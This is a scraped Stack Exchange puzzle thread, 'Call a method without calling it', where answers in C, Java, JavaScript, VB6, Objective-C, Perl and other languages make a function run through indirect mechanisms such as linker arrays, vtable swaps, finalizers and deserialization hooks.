    this.toString = function(){alert('Wow')};

Then just start typing anything in console - Firefox calls .toString() multiple times when you're typing in console.

Similar approach is:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

answered Mar 2, 2014 at 0:03

Ginden

1975 bronze badges

Add a comment |

Jonathan Van Matre · Accepted Answer · 2014-03-13 16:28:37Z

C

Platform of choice is Linux. We can't call our function, so we'll have our linker do it instead:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

How to obtain the magic address?

We're relying on the Linux Standard Base Core Specification, which says:

.fini_array

This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section.

Compile the code:

gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly
Examine the address of .fini_array:

objdump -h -j .fini_array but_for_what_reason_exactly
Find the VMA of it:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

and replace that value for ADDRESS.

johnsyweb · Accepted Answer · 2014-03-01 04:55:58Z

5

VB6 and VBA

Not sure if this qualifies or not, because it is calling a method of a class:

This goes in a class module:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

And this is the "calling" code:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

This works by swapping the function vptr's for the two Subs in the vtable for the class.

edited Mar 1, 2014 at 4:55

johnsyweb

1213 bronze badges

answered Mar 1, 2014 at 3:35

Comintern

3,7124 gold badges21 silver badges27 bronze badges

\$\begingroup\$ Dude, you're dangerous! Nice one! \$\endgroup\$
– Mathieu Guindon
Commented Nov 2, 2014 at 21:31
\$\begingroup\$ I'd say it does qualify, because in VB6/VBA a method is a member of a class - otherwise it's a procedure ;) \$\endgroup\$
– Mathieu Guindon
Commented Nov 2, 2014 at 21:43

Add a comment |

johnsyweb · Accepted Answer · 2014-03-01 07:09:52Z

5

Haskell

In haskell if you do:

main=putStrLn "This is the main action."

It will get executed immediately without calling its name when you run it. Magic!

edited Mar 1, 2014 at 7:09

johnsyweb

1213 bronze badges

answered Mar 1, 2014 at 3:06

Christopher King

7,2656 gold badges36 silver badges64 bronze badges

1

\$\begingroup\$ Haskell doesn't count. You can't call an IO action, only chain more IO actions to it or assign it somewhere. \$\endgroup\$
– John Dvorak
Commented Apr 14, 2014 at 6:37
\$\begingroup\$ It is the equivalent concept for IO actions. \$\endgroup\$
– Christopher King
Commented Apr 14, 2014 at 19:59

Add a comment |

Jonathan Van Matre · Accepted Answer · 2014-03-13 16:23:06Z

5

Javascript

Easy, just use on___ events in JS. For example:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

edited Mar 13, 2014 at 16:23

Jonathan Van Matre

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answered Mar 1, 2014 at 3:40

Doorknob

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Add a comment |

Victor Stafusa · Accepted Answer · 2014-03-01 17:22:21Z

Java

Other java answer from me. As you see in the code, it directly calls theCalledMethod, but the method notCalledMethod is executed instead.

So, in the end I am doing 2 things:

Calling a method without calling it.
Not calling a method by calling it.

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Running it:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

This is platform dependent. In particular, it will likely fail on OS X where the platform default character encoding is UTF-8. — ntoskrnl, Commented Mar 2, 2014 at 15:23
@ntoskrnl This should be easy to fix if you pass the encoding name as a parameter to the getBytes() method, turning it on getBytes("UTF-8"). Since I do not have an OS X, could you test if this works? — Victor Stafusa, Commented Mar 3, 2014 at 4:55
UTF-8 doesn't work for binary data. A single-byte encoding like ISO-8859-1 should work, but treating binary data as a string is still wrong. — ntoskrnl, Commented Mar 3, 2014 at 11:50
@ntoskrnl In fact, raping classfiles for doing the thing I am doing here is wrong, the encoding is the smallest of the problems. :) — Victor Stafusa, Commented Mar 3, 2014 at 15:22

Geoff Reedy · Accepted Answer · 2014-03-02 00:11:13Z

4

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

answered Mar 2, 2014 at 0:11

Geoff Reedy

2,92816 silver badges17 bronze badges

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Community · Accepted Answer · 2020-06-17 09:04:33Z

Java

Yay, garbage collection!

public class CrazyDriver {
    
    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }
        
        @Override
        public void finalize() {
            indirectMethod();
        }
    }
    
    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

A version for those who will inevitably say that System.gc() is unreliable:

public class UselessDriver {
    
    private static class UselessObject {
        
        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }
        
        public void theWinningMethod() {
            System.out.println("I win!");
        }
        
        @Override
        public void finalize() {
            theWinningMethod();
        }
    }
    
    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }
    
    
    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }
    
    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

ughoavgfhw · Accepted Answer · 2014-03-04 02:15:59Z

Objective-C

(Probably only if compiled with clang on Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

This code uses several tricks to get to the unused function. First is the value 0x2A27. This is a tagged pointer for the integer 42, which encodes the value in the pointer to avoid allocating an object.

Next is MyClass. It is never used, but the runtime calls the +load method when it is loaded, before main. This dynamically creates and registers a new class, using NSValue as its superclass. It also adds a +load method for that class, using MyClass's -unusedMethod as the implementation. After registration, it calls the load method on the new class (for some reason it isn't called automatically).

Since the new class's load method uses the same implementation as unusedMethod, that is effectively called. It takes the superclass of itself, and adds unusedFunction as an implementation for that class's doesNotRecognizeSelector: method. This method was originally an instance method on MyClass, but is being called as a class method on the new class, so self is the new class object. Therefore, the superclass is NSValue, which is also the superclass for NSNumber.

Finally, main runs. It takes the pointer value and sticks it in a NSString * variable (the __bridge and first cast to void * allow this to be used with or without ARC). Then, it tries to call stringByAppendingString: on that variable. Since it is actually a number, which does not implement that method, the doesNotRecognizeSelector: method is called instead, which travels up through the class hierarchy to NSValue where it is implemented using unusedFunction.

Note: the incompatibility with other systems is due to the tagged pointer usage, which I do not believe has been implemented by other implementations. If this were replaced with a normally created number the rest of the code should work fine.

Hm, try with ciruZ' ObjFW, it's a pretty decent Objective-C runtime and framework, maybe this, or something close, will work with it too ;-) — mirabilos, Commented Mar 3, 2014 at 20:22
@mirabilos The only incompatibility in it is the 0x2A27 value, so I just don't know if that is implemented anywhere else. ObjFW definitely is interesting though. — ughoavgfhw, Commented Mar 3, 2014 at 22:29
@Bryan Thanks! I was looking for that exact article and couldn't remember the proper name. — ughoavgfhw, Commented Mar 4, 2014 at 2:11
@BryanChen ah okay. ughoavgfhw: Sure, just wanted to point out the alternative runtime in case you wanted to play with it. — mirabilos, Commented Mar 4, 2014 at 20:44

Danny · Accepted Answer · 2014-03-01 16:06:20Z

3

Javascript

I feel like this doesn't explicitly look like it is calling the function

window["false"] =  function() { alert("Hello world"); }
window[![]]();

edited Mar 1, 2014 at 16:06

answered Mar 1, 2014 at 15:56

Danny

1,59310 silver badges17 bronze badges

5

\$\begingroup\$ Pretty borderline if you ask me. \$\endgroup\$
– Cole Tobin
Commented Mar 1, 2014 at 23:10
\$\begingroup\$ @ColeJohnson I think he already crossed it... \$\endgroup\$
– Tomas
Commented Mar 4, 2014 at 22:46

Add a comment |

Community · Accepted Answer · 2020-06-17 09:04:33Z

3

C# (via `using`)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

edited Jun 17, 2020 at 9:04

CommunityBot

1

answered Mar 2, 2014 at 7:11

microbian

2,2873 gold badges18 silver badges20 bronze badges

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Kevin K · Accepted Answer · 2014-03-03 04:56:11Z

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

I'm taking advantage of a special feature of Java serialization. The readObject method is invoked when an object is deserialized, but it's not directly called - not by my code, nor by the deserialization library. If you dig deep into the source, you'll see that at a low level the method is internally called via reflection.

yeah; serialisation allows pretty funny jokes :); btw theres are similar ways in other serialisation lobs for java — masterX244, Commented Mar 4, 2014 at 14:49

null · Accepted Answer · 2014-03-03 14:44:46Z

3

Perl

This is so easy. The code below automatically runs code in subroutine, even without explicit call.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Even if you uncomment the call, it will still be called just once.

answered Mar 3, 2014 at 14:44

null

12.2k3 gold badges58 silver badges93 bronze badges

\$\begingroup\$ how? cant get behind the magic+ \$\endgroup\$
– masterX244
Commented Mar 4, 2014 at 14:46

Add a comment |

Stack Exchange Network

Call a method without calling it [closed]

78 Answers 78

C

Bash

Javascript

Python

C#

GNU C

Ruby

C

Java

C++

C: Hello World

C (with GCC inline asm)

PHP ≥5.4.0

Perl

T-SQL

JavaScript

C

How to obtain the magic address?

VB6 and VBA

Haskell

Javascript

Java

Python

Java

Objective-C

Javascript

C# (via `using`)

Java

Perl

Linked

Hot Network Questions

Call a method without calling it [closed]

78 Answers 78

C

Bash

Javascript

Python

C#

GNU C

Ruby

C

Java

C++

C: Hello World

C (with GCC inline asm)

PHP ≥5.4.0

Perl

T-SQL

JavaScript

C

How to obtain the magic address?

VB6 and VBA

Haskell

Javascript

Java

Python

Java

Objective-C

Javascript

C# (via using)

Java

Perl

Linked

Related

Hot Network Questions

C# (via `using`)